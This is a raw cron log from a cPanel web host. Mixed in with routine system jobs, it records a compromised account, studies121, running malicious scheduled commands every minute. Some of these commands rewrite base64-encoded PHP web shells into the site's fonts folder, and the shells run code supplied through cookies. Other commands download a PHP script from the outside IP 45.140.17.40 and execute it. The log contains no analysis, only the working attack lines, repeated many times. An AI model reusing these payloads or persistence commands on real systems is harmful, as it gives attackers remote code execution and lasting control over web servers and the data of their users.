Sep 10 16:52:01 ip-184-168-122-23 CROND[9523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:52:01 ip-184-168-122-23 CROND[9522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:52:01 ip-184-168-122-23 CROND[9525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:52:01 ip-184-168-122-23 CROND[9526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:53:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:53:01 ip-184-168-122-23 CROND[9624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:53:01 ip-184-168-122-23 CROND[9625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:53:01 ip-184-168-122-23 CROND[9627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:54:01 ip-184-168-122-23 CROND[9727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:54:01 ip-184-168-122-23 CROND[9729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:54:01 ip-184-168-122-23 CROND[9730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:54:01 ip-184-168-122-23 CROND[9731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:54:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:55:01 ip-184-168-122-23 CROND[9840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:55:01 ip-184-168-122-23 CROND[9843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:55:01 ip-184-168-122-23 CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:55:01 ip-184-168-122-23 CROND[9842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:55:01 ip-184-168-122-23 CROND[9849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:55:01 ip-184-168-122-23 CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:56:01 ip-184-168-122-23 CROND[9956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:56:01 ip-184-168-122-23 CROND[9957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:56:01 ip-184-168-122-23 CROND[9960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:56:01 ip-184-168-122-23 CROND[9961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:56:01 ip-184-168-122-23 CROND[9962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:57:01 ip-184-168-122-23 CROND[10078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:57:01 ip-184-168-122-23 CROND[10082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:57:01 ip-184-168-122-23 CROND[10080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:57:01 ip-184-168-122-23 CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:58:01 ip-184-168-122-23 CROND[10272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:58:01 ip-184-168-122-23 CROND[10274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:58:01 ip-184-168-122-23 CROND[10276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:58:01 ip-184-168-122-23 CROND[10277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:58:01 ip-184-168-122-23 CROND[10279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:59:01 ip-184-168-122-23 CROND[10388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:59:01 ip-184-168-122-23 CROND[10390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:59:01 ip-184-168-122-23 CROND[10391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:59:01 ip-184-168-122-23 CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:00:01 ip-184-168-122-23 CROND[10551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:00:01 ip-184-168-122-23 CROND[10557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:00:01 ip-184-168-122-23 CROND[10555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10692]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:01:01 ip-184-168-122-23 CROND[10695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10692]: starting 0anacron
Sep 10 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10713]: finished 0anacron
Sep 10 17:02:01 ip-184-168-122-23 CROND[10831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:02:01 ip-184-168-122-23 CROND[10833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:02:01 ip-184-168-122-23 CROND[10835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:02:01 ip-184-168-122-23 CROND[10834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:02:01 ip-184-168-122-23 CROND[10836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:03:01 ip-184-168-122-23 CROND[10936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:03:01 ip-184-168-122-23 CROND[10938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:03:01 ip-184-168-122-23 CROND[10940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:03:01 ip-184-168-122-23 CROND[10939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:04:01 ip-184-168-122-23 CROND[11026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
